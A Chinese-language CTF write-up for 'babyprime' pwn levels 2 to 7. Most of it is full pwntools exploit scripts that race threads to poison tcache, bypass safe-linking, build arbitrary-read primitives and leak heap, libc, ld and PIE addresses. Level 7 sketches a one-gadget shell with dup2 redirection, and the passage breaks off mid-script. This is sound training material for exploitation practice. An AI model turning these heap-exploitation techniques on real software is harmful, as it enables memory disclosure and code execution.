&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;太简单不讲。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

import argparse

from pwn import (
    ELF,
    context,
    flat,
    os,
    process,
    raw_input,
    remote,
)

parser = argparse.ArgumentParser()
parser.add_argument(&quot;-L&quot;, action=&quot;store_true&quot;)
parser.add_argument(&quot;-T&quot;, &quot;--threads&quot;, type=int, default=None, help=&quot;thread count&quot;)
args = parser.parse_args()


FILE = &quot;/challenge/babyprime_level2.0&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary
libc = elf.libc


def printf(tid, idx):
    thread[tid].sendline(f&quot;printf {idx}&quot;.encode())


def malloc(tid, idx):
    thread[tid].sendline(f&quot;malloc {idx}&quot;.encode())


def scanf(tid, idx, content):
    thread[tid].sendline(f&quot;scanf {idx} {content}&quot;.encode())


def free(tid, idx):
    thread[tid].sendline(f&quot;free {idx}&quot;.encode())


def send_flag(tid, secret):
    thread[tid].sendline(b&quot;send_flag&quot;)
    thread[tid].sendlineafter(b&quot;Secret: &quot;, secret)


def quit(tid):
    thread[tid].sendline(b&quot;quit&quot;)


def arbitrary_read(addr):
    while True:
        thread[0].send((b&quot;malloc 0 free 0\n&quot;) * 10000)
        if os.fork() == 0:
            thread[1].send((b&quot;scanf 0&quot; + flat(addr) + b&quot;\n&quot;) * 10000)
            os.kill(os.getpid(), 9)
        os.wait()

        malloc(0, 0)
        printf(0, 0)
        thread[0].recvuntil(b&quot;MESSAGE: &quot;)
        poisoned = int.from_bytes(thread[0].recvline().strip(), &quot;little&quot;)

        if flat(poisoned) == flat(addr):
            break

    malloc(0, 1)
    printf(0, 1)

    thread[0].recvuntil(b&quot;MESSAGE: &quot;)
    return thread[0].recvline().strip()


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos &amp;gt;&amp;gt; 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target, thread

    if args.L and args.threads is not None:
        raise ValueError(&quot;Options -L and -T cannot be used together.&quot;)

    if args.L:
        target = process(FILE)
    elif args.threads:
        if args.threads &amp;lt;= 0:
            raise ValueError(&quot;Thread count must be positive.&quot;)
        process(FILE)

        thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    malloc(0, 0)
    malloc(0, 1)
    free(0, 1)
    free(0, 0)
    malloc(0, 0)
    malloc(0, 1)

    printf(0, 0)
    thread[0].recvuntil(b&quot;MESSAGE: &quot;)
    heap = int.from_bytes(thread[0].recvline().strip(), &quot;little&quot;)

    printf(0, 1)
    thread[0].recvuntil(b&quot;MESSAGE: &quot;)
    pos = int.from_bytes(thread[0].recvline().strip(), &quot;little&quot;)
    heap = demangle(heap, pos)

    thread[0].success(f&quot;pos: {hex(pos)}&quot;)
    thread[0].success(f&quot;heap: {hex(heap)}&quot;)

    malloc(0, 0)
    malloc(0, 1)
    free(0, 1)
    free(0, 0)

    raw_input(&quot;DEBUG&quot;)
    secret = heap - 0x431
    secret = arbitrary_read(mangle(pos - 1, secret))
    thread[0].success(secret)

    send_flag(0, secret)
    quit(0)
    quit(1)

    thread[0].interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Level 3&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Create and use arbitrary read primitives to read from a thread&apos;s stack.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;这次分配到线程栈上去了，线程栈和 libc 有固定偏移，所以弄到 libc 就知道栈地址了。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

import argparse

from pwn import (
    ELF,
    context,
    flat,
    os,
    process,
    raw_input,
    remote,
)

parser = argparse.ArgumentParser()
parser.add_argument(&quot;-L&quot;, action=&quot;store_true&quot;)
parser.add_argument(&quot;-T&quot;, &quot;--threads&quot;, type=int, default=None, help=&quot;thread count&quot;)
args = parser.parse_args()


FILE = &quot;/challenge/babyprime_level3.0&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary
libc = elf.libc


def printf(tid, idx):
    thread[tid].sendline(f&quot;printf {idx}&quot;.encode())


def malloc(tid, idx):
    thread[tid].sendline(f&quot;malloc {idx}&quot;.encode())


def scanf(tid, idx, content):
    thread[tid].sendline(f&quot;scanf {idx} {content}&quot;.encode())


def free(tid, idx):
    thread[tid].sendline(f&quot;free {idx}&quot;.encode())


def send_flag(tid, secret):
    thread[tid].sendline(b&quot;send_flag&quot;)
    thread[tid].sendlineafter(b&quot;Secret: &quot;, secret)


def quit(tid):
    thread[tid].sendline(b&quot;quit&quot;)


def arbitrary_read(poison_idx, result_idx, addr):
    while True:
        thread[0].send((f&quot;malloc {poison_idx} free {poison_idx}\n&quot;.encode()) * 10000)
        if os.fork() == 0:
            thread[1].send(
                (f&quot;scanf {poison_idx}&quot;.encode() + flat(addr) + b&quot;\n&quot;) * 10000
            )
            os.kill(os.getpid(), 9)
        os.wait()

        malloc(0, poison_idx)
        printf(0, poison_idx)
        thread[0].recvuntil(b&quot;MESSAGE: &quot;)
        poisoned = int.from_bytes(thread[0].recvline().strip(), &quot;little&quot;)

        if flat(poisoned) == flat(addr):
            break

    malloc(0, result_idx)
    raw_input(&quot;DEBUG&quot;)
    printf(0, result_idx)

    thread[0].recvuntil(b&quot;MESSAGE: &quot;)
    return thread[0].recvline().strip()


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos &amp;gt;&amp;gt; 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target, thread

    if args.L and args.threads is not None:
        raise ValueError(&quot;Options -L and -T cannot be used together.&quot;)

    if args.L:
        target = process(FILE)
    elif args.threads:
        if args.threads &amp;lt;= 0:
            raise ValueError(&quot;Thread count must be positive.&quot;)
        process(FILE)

        thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    malloc(0, 0)
    malloc(0, 1)
    free(0, 1)
    free(0, 0)
    malloc(0, 0)
    malloc(0, 1)

    printf(0, 0)
    thread[0].recvuntil(b&quot;MESSAGE: &quot;)
    heap = int.from_bytes(thread[0].recvline().strip(), &quot;little&quot;)

    printf(0, 1)
    thread[0].recvuntil(b&quot;MESSAGE: &quot;)
    pos = int.from_bytes(thread[0].recvline().strip(), &quot;little&quot;)
    heap = demangle(heap, pos)
    main_arena_ptr = heap - 0xAA1

    thread[0].success(f&quot;pos: {hex(pos)}&quot;)
    thread[0].success(f&quot;heap: {hex(heap)}&quot;)
    thread[0].success(f&quot;main_arena_ptr: {hex(main_arena_ptr)}&quot;)

    malloc(0, 0)
    malloc(0, 1)
    free(0, 1)
    free(0, 0)

    libc.address = (
        int.from_bytes(arbitrary_read(0, 1, mangle(pos - 1, main_arena_ptr)), &quot;little&quot;)
        - 0x219C80
    )
    secret = libc.address - 0x4740

    thread[0].success(f&quot;libc: {hex(libc.address)}&quot;)
    thread[0].success(f&quot;secret: {hex(secret)}&quot;)

    malloc(0, 2)
    malloc(0, 4)
    free(0, 4)
    free(0, 2)

    raw_input(&quot;DEBUG&quot;)
    secret = arbitrary_read(2, 4, mangle(pos, secret))

    send_flag(0, secret)
    quit(0)
    quit(1)

    thread[0].interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Level 4&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Create and use arbitrary read primitives to read from the .bss, now with PIE.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;注意权限问题，&lt;code&gt;p2p&lt;/code&gt; 是你的好朋友。好啦，尽情去寻找虚拟内存地址空间中那块属于你的，闪闪发光的垃圾吧～&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

import argparse

from pwn import (
    ELF,
    context,
    flat,
    os,
    process,
    raw_input,
    remote,
)

parser = argparse.ArgumentParser()
parser.add_argument(&quot;-L&quot;, action=&quot;store_true&quot;)
parser.add_argument(&quot;-T&quot;, &quot;--threads&quot;, type=int, default=None, help=&quot;thread count&quot;)
args = parser.parse_args()


FILE = &quot;/challenge/babyprime_level4.0&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary
libc = elf.libc


def printf(tid, idx):
    thread[tid].sendline(f&quot;printf {idx}&quot;.encode())


def malloc(tid, idx):
    thread[tid].sendline(f&quot;malloc {idx}&quot;.encode())


def scanf(tid, idx, content):
    thread[tid].sendline(f&quot;scanf {idx} {content}&quot;.encode())


def free(tid, idx):
    thread[tid].sendline(f&quot;free {idx}&quot;.encode())


def send_flag(tid, secret):
    thread[tid].sendline(b&quot;send_flag&quot;)
    thread[tid].sendlineafter(b&quot;Secret: &quot;, secret)


def quit(tid):
    thread[tid].sendline(b&quot;quit&quot;)


def arbitrary_read(poison_idx, result_idx, addr):
    BAD_BYTES = {b&quot;\x20&quot;, b&quot;\x0c&quot;, b&quot;\x0a&quot;, b&quot;\x0d&quot;, b&quot;\x09&quot;, b&quot;\x0b&quot;}

    packed_addr = flat(addr)
    if any(bytes([byte]) in BAD_BYTES for byte in packed_addr):
        raise ValueError(
            f&quot;Address {hex(addr)} contains a bad byte for scanf: {packed_addr.hex()}&quot;
        )

    while True:
        thread[0].send((f&quot;malloc {poison_idx} free {poison_idx}\n&quot;.encode()) * 10000)
        if os.fork() == 0:
            thread[1].send(
                (f&quot;scanf {poison_idx}&quot;.encode() + flat(addr) + b&quot;\n&quot;) * 10000
            )
            os.kill(os.getpid(), 9)
        os.wait()

        malloc(0, poison_idx)
        printf(0, poison_idx)
        thread[0].recvuntil(b&quot;MESSAGE: &quot;)
        poisoned = int.from_bytes(thread[0].recvline().strip(), &quot;little&quot;)

        if flat(poisoned) == packed_addr:
            break

    raw_input(&quot;DEBUG&quot;)
    malloc(0, result_idx)
    printf(0, result_idx)

    thread[0].recvuntil(b&quot;MESSAGE: &quot;)
    return thread[0].recvline().strip()


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos &amp;gt;&amp;gt; 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target, thread

    if args.L and args.threads is not None:
        raise ValueError(&quot;Options -L and -T cannot be used together.&quot;)

    if args.L:
        target = process(FILE)
    elif args.threads:
        if args.threads &amp;lt;= 0:
            raise ValueError(&quot;Thread count must be positive.&quot;)
        process(FILE)

        thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    malloc(0, 0)
    malloc(0, 1)
    free(0, 1)
    free(0, 0)
    malloc(0, 0)
    malloc(0, 1)

    printf(0, 0)
    thread[0].recvuntil(b&quot;MESSAGE: &quot;)
    heap = int.from_bytes(thread[0].recvline().strip(), &quot;little&quot;)

    printf(0, 1)
    thread[0].recvuntil(b&quot;MESSAGE: &quot;)
    pos = int.from_bytes(thread[0].recvline().strip(), &quot;little&quot;)
    heap = demangle(heap, pos)
    main_arena_ptr = heap - 0xAA1

    thread[0].success(f&quot;pos: {hex(pos)}&quot;)
    thread[0].success(f&quot;heap: {hex(heap)}&quot;)
    thread[0].success(f&quot;main_arena_ptr: {hex(main_arena_ptr)}&quot;)

    raw_input(&quot;DEBUG&quot;)
    malloc(0, 0)
    malloc(0, 1)
    free(0, 1)
    free(0, 0)

    libc.address = (
        int.from_bytes(arbitrary_read(0, 1, mangle(pos - 1, main_arena_ptr)), &quot;little&quot;)
        - 0x219C80
    )
    ld_ptr = libc.address + 0x219010

    thread[0].success(f&quot;libc: {hex(libc.address)}&quot;)
    thread[0].success(f&quot;ld_ptr: {hex(ld_ptr)}&quot;)

    raw_input(&quot;DEBUG&quot;)
    malloc(0, 2)
    malloc(0, 4)
    free(0, 4)
    free(0, 2)

    ld = int.from_bytes(arbitrary_read(2, 4, mangle(pos, ld_ptr)), &quot;little&quot;) - 0x15C60
    pie_ptr = ld + 0x3B2F0

    thread[0].success(f&quot;ld: {hex(ld)}&quot;)
    thread[0].success(f&quot;pie_ptr: {hex(pie_ptr)}&quot;)

    raw_input(&quot;DEBUG&quot;)
    malloc(0, 3)
    malloc(0, 5)
    free(0, 5)
    free(0, 3)

    elf.address = (
        int.from_bytes(arbitrary_read(3, 5, mangle(pos, pie_ptr)), &quot;little&quot;) - 0x4CA8
    )
    secret_ptr = elf.address + 0x53C0

    thread[0].success(f&quot;pie: {hex(elf.address)}&quot;)
    thread[0].success(f&quot;secret: {hex(secret_ptr)}&quot;)

    raw_input(&quot;DEBUG&quot;)
    malloc(0, 6)
    malloc(0, 7)
    free(0, 7)
    free(0, 6)

    secret = arbitrary_read(6, 7, mangle(pos, secret_ptr + 0x3))

    send_flag(0, secret)
    quit(0)
    quit(1)

    thread[0].interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Level 5&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Create and use arbitrary read primitives to read from the environment.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;探索探索内存，探探探就出来了。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

import argparse

from pwn import (
    ELF,
    context,
    flat,
    os,
    process,
    raw_input,
    remote,
)

parser = argparse.ArgumentParser()
parser.add_argument(&quot;-L&quot;, action=&quot;store_true&quot;)
parser.add_argument(&quot;-T&quot;, &quot;--threads&quot;, type=int, default=None, help=&quot;thread count&quot;)
args = parser.parse_args()


FILE = &quot;/challenge/babyprime_level5.0&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary
libc = elf.libc


def printf(tid, idx):
    thread[tid].sendline(f&quot;printf {idx}&quot;.encode())


def malloc(tid, idx):
    thread[tid].sendline(f&quot;malloc {idx}&quot;.encode())


def scanf(tid, idx, content):
    thread[tid].sendline(f&quot;scanf {idx} {content}&quot;.encode())


def free(tid, idx):
    thread[tid].sendline(f&quot;free {idx}&quot;.encode())


def send_flag(tid, secret):
    thread[tid].sendline(b&quot;send_flag&quot;)
    thread[tid].sendlineafter(b&quot;Secret: &quot;, secret)


def quit(tid):
    thread[tid].sendline(b&quot;quit&quot;)


def arbitrary_read(poison_idx, result_idx, addr):
    BAD_BYTES = {b&quot;\x20&quot;, b&quot;\x0c&quot;, b&quot;\x0a&quot;, b&quot;\x0d&quot;, b&quot;\x09&quot;, b&quot;\x0b&quot;}

    packed_addr = flat(addr)
    if any(bytes([byte]) in BAD_BYTES for byte in packed_addr):
        raise ValueError(
            f&quot;Address {hex(addr)} contains a bad byte for scanf: {packed_addr.hex()}&quot;
        )

    while True:
        thread[0].send((f&quot;malloc {poison_idx} free {poison_idx}\n&quot;.encode()) * 10000)
        if os.fork() == 0:
            thread[1].send(
                (f&quot;scanf {poison_idx}&quot;.encode() + flat(addr) + b&quot;\n&quot;) * 10000
            )
            os.kill(os.getpid(), 9)
        os.wait()

        malloc(0, poison_idx)
        printf(0, poison_idx)
        thread[0].recvuntil(b&quot;MESSAGE: &quot;)
        poisoned = int.from_bytes(thread[0].recvline().strip(), &quot;little&quot;)

        if flat(poisoned) == packed_addr:
            break

    raw_input(&quot;DEBUG&quot;)
    malloc(0, result_idx)
    printf(0, result_idx)


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos &amp;gt;&amp;gt; 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target, thread

    if args.L and args.threads is not None:
        raise ValueError(&quot;Options -L and -T cannot be used together.&quot;)

    if args.L:
        target = process(FILE)
    elif args.threads:
        if args.threads &amp;lt;= 0:
            raise ValueError(&quot;Thread count must be positive.&quot;)
        process(FILE)

        thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    malloc(0, 0)
    malloc(0, 1)
    free(0, 1)
    free(0, 0)
    malloc(0, 0)
    malloc(0, 1)

    printf(0, 0)
    thread[0].recvuntil(b&quot;MESSAGE: &quot;)
    heap = int.from_bytes(thread[0].recvline().strip(), &quot;little&quot;)

    printf(0, 1)
    thread[0].recvuntil(b&quot;MESSAGE: &quot;)
    pos = int.from_bytes(thread[0].recvline().strip(), &quot;little&quot;)
    heap = demangle(heap, pos)
    main_arena_ptr = heap - 0xAA1

    thread[0].success(f&quot;pos: {hex(pos)}&quot;)
    thread[0].success(f&quot;heap: {hex(heap)}&quot;)
    thread[0].success(f&quot;main_arena_ptr: {hex(main_arena_ptr)}&quot;)

    raw_input(&quot;DEBUG&quot;)
    malloc(0, 0)
    malloc(0, 1)
    free(0, 1)
    free(0, 0)

    arbitrary_read(0, 1, mangle(pos - 1, main_arena_ptr))
    thread[0].recvuntil(b&quot;MESSAGE: &quot;)
    libc.address = int.from_bytes(thread[0].recvline().strip(), &quot;little&quot;) - 0x219C80
    known_values = libc.address + 0x21AEC0

    thread[0].success(f&quot;libc: {hex(libc.address)}&quot;)
    thread[0].success(f&quot;known_values: {hex(known_values)}&quot;)

    raw_input(&quot;DEBUG&quot;)
    malloc(0, 2)
    malloc(0, 4)
    free(0, 4)
    free(0, 2)

    arbitrary_read(2, 4, mangle(pos, known_values))
    thread[0].recvuntil(b&quot;MESSAGE: &quot;)
    secret = int.from_bytes(thread[0].recv(0x6), &quot;little&quot;) - 0x30

    thread[0].success(f&quot;secret: {hex(secret)}&quot;)

    raw_input(&quot;DEBUG&quot;)
    malloc(0, 3)
    malloc(0, 5)
    free(0, 5)
    free(0, 3)

    arbitrary_read(3, 5, mangle(pos, secret + 0x10))
    thread[0].recvuntil(b&quot;MESSAGE: &quot;)
    secret = thread[0].recvline().strip()

    thread[0].success(f&quot;secret: {secret}&quot;)

    send_flag(0, secret)
    quit(0)
    quit(1)

    thread[0].interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Level 6&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Create and use arbitrary read primitives to read from the main heap.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;培养内存侦查大头兵 ing……&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

import argparse

from pwn import (
    ELF,
    context,
    flat,
    os,
    process,
    raw_input,
    remote,
)

parser = argparse.ArgumentParser()
parser.add_argument(&quot;-L&quot;, action=&quot;store_true&quot;)
parser.add_argument(&quot;-T&quot;, &quot;--threads&quot;, type=int, default=None, help=&quot;thread count&quot;)
args = parser.parse_args()


FILE = &quot;/challenge/babyprime_level6.0&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary
libc = elf.libc


def printf(tid, idx):
    thread[tid].sendline(f&quot;printf {idx}&quot;.encode())


def malloc(tid, idx):
    thread[tid].sendline(f&quot;malloc {idx}&quot;.encode())


def scanf(tid, idx, content):
    thread[tid].sendline(f&quot;scanf {idx} {content}&quot;.encode())


def free(tid, idx):
    thread[tid].sendline(f&quot;free {idx}&quot;.encode())


def send_flag(tid, secret):
    thread[tid].sendline(b&quot;send_flag&quot;)
    thread[tid].sendlineafter(b&quot;Secret: &quot;, secret)


def quit(tid):
    thread[tid].sendline(b&quot;quit&quot;)


def arbitrary_read(poison_idx, result_idx, addr):
    BAD_BYTES = {b&quot;\x20&quot;, b&quot;\x0c&quot;, b&quot;\x0a&quot;, b&quot;\x0d&quot;, b&quot;\x09&quot;, b&quot;\x0b&quot;}

    packed_addr = flat(addr)
    if any(bytes([byte]) in BAD_BYTES for byte in packed_addr):
        raise ValueError(
            f&quot;Address {hex(addr)} contains a bad byte for scanf: {packed_addr.hex()}&quot;
        )

    while True:
        thread[0].send((f&quot;malloc {poison_idx} free {poison_idx}\n&quot;.encode()) * 10000)
        if os.fork() == 0:
            thread[1].send(
                (f&quot;scanf {poison_idx}&quot;.encode() + flat(addr) + b&quot;\n&quot;) * 10000
            )
            os.kill(os.getpid(), 9)
        os.wait()

        malloc(0, poison_idx)
        printf(0, poison_idx)
        thread[0].recvuntil(b&quot;MESSAGE: &quot;)
        poisoned = int.from_bytes(thread[0].recvline().strip(), &quot;little&quot;)

        if flat(poisoned) == packed_addr:
            break

    raw_input(&quot;DEBUG&quot;)
    malloc(0, result_idx)
    printf(0, result_idx)


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos &amp;gt;&amp;gt; 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target, thread

    if args.L and args.threads is not None:
        raise ValueError(&quot;Options -L and -T cannot be used together.&quot;)

    if args.L:
        target = process(FILE)
    elif args.threads:
        if args.threads &amp;lt;= 0:
            raise ValueError(&quot;Thread count must be positive.&quot;)
        process(FILE)

        thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    malloc(0, 0)
    malloc(0, 1)
    free(0, 1)
    free(0, 0)
    malloc(0, 0)
    malloc(0, 1)

    printf(0, 0)
    thread[0].recvuntil(b&quot;MESSAGE: &quot;)
    heap = int.from_bytes(thread[0].recvline().strip(), &quot;little&quot;)

    printf(0, 1)
    thread[0].recvuntil(b&quot;MESSAGE: &quot;)
    pos = int.from_bytes(thread[0].recvline().strip(), &quot;little&quot;)
    heap = demangle(heap, pos)
    main_arena_ptr = heap - 0xAA1

    thread[0].success(f&quot;pos: {hex(pos)}&quot;)
    thread[0].success(f&quot;heap: {hex(heap)}&quot;)
    thread[0].success(f&quot;main_arena_ptr: {hex(main_arena_ptr)}&quot;)

    raw_input(&quot;DEBUG&quot;)
    malloc(0, 0)
    malloc(0, 1)
    free(0, 1)
    free(0, 0)

    arbitrary_read(0, 1, mangle(pos - 1, main_arena_ptr))
    thread[0].recvuntil(b&quot;MESSAGE: &quot;)
    libc.address = int.from_bytes(thread[0].recvline().strip(), &quot;little&quot;) - 0x219C80
    heap_ptr = libc.address + 0x219CE0

    thread[0].success(f&quot;libc: {hex(libc.address)}&quot;)
    thread[0].success(f&quot;heap_ptr: {hex(heap_ptr)}&quot;)

    raw_input(&quot;DEBUG&quot;)
    malloc(0, 2)
    malloc(0, 4)
    free(0, 4)
    free(0, 2)

    arbitrary_read(2, 4, mangle(pos, heap_ptr))
    thread[0].recvuntil(b&quot;MESSAGE: &quot;)
    heap = int.from_bytes(thread[0].recvline().strip(), &quot;little&quot;)
    secret = heap - 0x2B0

    thread[0].success(f&quot;heap: {hex(heap)}&quot;)
    thread[0].success(f&quot;secret: {hex(secret)}&quot;)

    raw_input(&quot;DEBUG&quot;)
    malloc(0, 3)
    malloc(0, 5)
    free(0, 5)
    free(0, 3)

    arbitrary_read(3, 5, mangle(pos, secret))
    thread[0].recvuntil(b&quot;MESSAGE: &quot;)
    secret = thread[0].recvline().strip()

    thread[0].success(f&quot;secret: {secret}&quot;)

    send_flag(0, secret)
    quit(0)
    quit(1)

    thread[0].interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Level 7&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Create and use arbitrary read/write primitives to obtain the flag.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;一开始被这个 &lt;code&gt;flag_seed&lt;/code&gt; 函数迷惑了：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;unsigned __int64 flag_seed()
{
  unsigned int seed; // [rsp+4h] [rbp-9Ch]
  unsigned int i; // [rsp+8h] [rbp-98h]
  int fd; // [rsp+Ch] [rbp-94h]
  _QWORD buf[17]; // [rsp+10h] [rbp-90h] BYREF
  unsigned __int64 v5; // [rsp+98h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  memset(buf, 0, 128);
  fd = open(&quot;/flag&quot;, 0);
  if ( fd &amp;lt; 0 )
    __assert_fail(&quot;fd &amp;gt;= 0&quot;, &quot;/mnt/pwnshop/source.c&quot;, 0x2Bu, &quot;flag_seed&quot;);
  if ( read(fd, buf, 0x80u) &amp;lt;= 0 )
    __assert_fail(&quot;read(fd, flag, 128) &amp;gt; 0&quot;, &quot;/mnt/pwnshop/source.c&quot;, 0x2Cu, &quot;flag_seed&quot;);
  seed = 0;
  for ( i = 0; i &amp;lt;= 0x1F; ++i )
    seed ^= *((_DWORD *)buf + (int)i);
  srand(seed);
  memset(buf, 0, 0x80u);
  return v5 - __readfsqword(0x28u);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注意到 &lt;code&gt;open&lt;/code&gt; flag 之后并没有 &lt;code&gt;close&lt;/code&gt; 那个 fd，并且下面那个 &lt;code&gt;memset&lt;/code&gt; 清空了内存中的 flag，导致我的第一反应是想办法把 flag 读回内存……但又对 &lt;code&gt;open&lt;/code&gt; 这种直接返回 file descriptor 的函数感到迷惑，不晓得如何将 flag 读出来……&lt;/p&gt;
&lt;p&gt;后来问 AI，了解了 &lt;code&gt;_IO_underflow&lt;/code&gt; 好像可以读文件，然后去改线程的 stdin，然并软。&lt;/p&gt;
&lt;p&gt;我居然在最后浪费了差不多一天后才想到，我还可以尝试 getshell 啊，草！最后发现，one gadget 是正确执行了，但是没回显啊……再问 AI，得知 &lt;code&gt;execve&lt;/code&gt; 会杀掉原进程的所有其它线程，当前执行 execve 的这个线程变成新进程的 main thread，并且只会继承 &lt;code&gt;process-level&lt;/code&gt; 的资源，比如 fd table、cwd、environ、credentials 等，不会继承任何 thread-level 的东西。哦～这不就是 CSAPP &lt;code&gt;fork&lt;/code&gt; 那课讲的吗，&lt;s&gt;不好意思，记性不好（bushi&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;所以解决方法也很简单，直接 &lt;code&gt;dup2&lt;/code&gt; 重定向一下 &lt;code&gt;stdin&lt;/code&gt; 和 &lt;code&gt;stdout&lt;/code&gt; 就好了。由于我们要 shell，所以 &lt;code&gt;stderr&lt;/code&gt; 没啥用，况且子进程本来也没设置 &lt;code&gt;stderr&lt;/code&gt;，直接忽视。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

import argparse

from pwn import (
    ELF,
    FileStructure,
    constants,
    context,
    flat,
    os,
    process,
    raw_input,
    remote,
)

parser = argparse.ArgumentParser()
parser.add_argument(&quot;-L&quot;, action=&quot;store_true&quot;)
parser.add_argument(&quot;-T&quot;, &quot;--threads&quot;, type=int, default=None, help=&quot;thread count&quot;)
args = parser.parse_args()


FILE = &quot;/challenge/babyprime_level7.0&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary
libc = elf.libc


def printf(tid, idx):
    thread[tid].sendline(f&quot;printf {idx}&quot;.encode())


def malloc(tid, idx):
    thread[tid].sendline(f&quot;malloc {idx}&quot;.encode())


def scanf(tid, idx, content):
    thread[tid].sendline(f&quot;scanf {idx} {content}&quot;.encode())


def scanf_raw(tid, idx, content):
    thread[tid].sendline(f&quot;scanf {idx} &quot;.encode() + content)


def free(tid, idx):
    thread[tid].sendline(f&quot;free {idx}&quot;.encode())


def quit(tid):
    thread[tid].sendline(b&quot;quit&quot;)


def arbitrary_read(poison_idx, result_idx, addr):
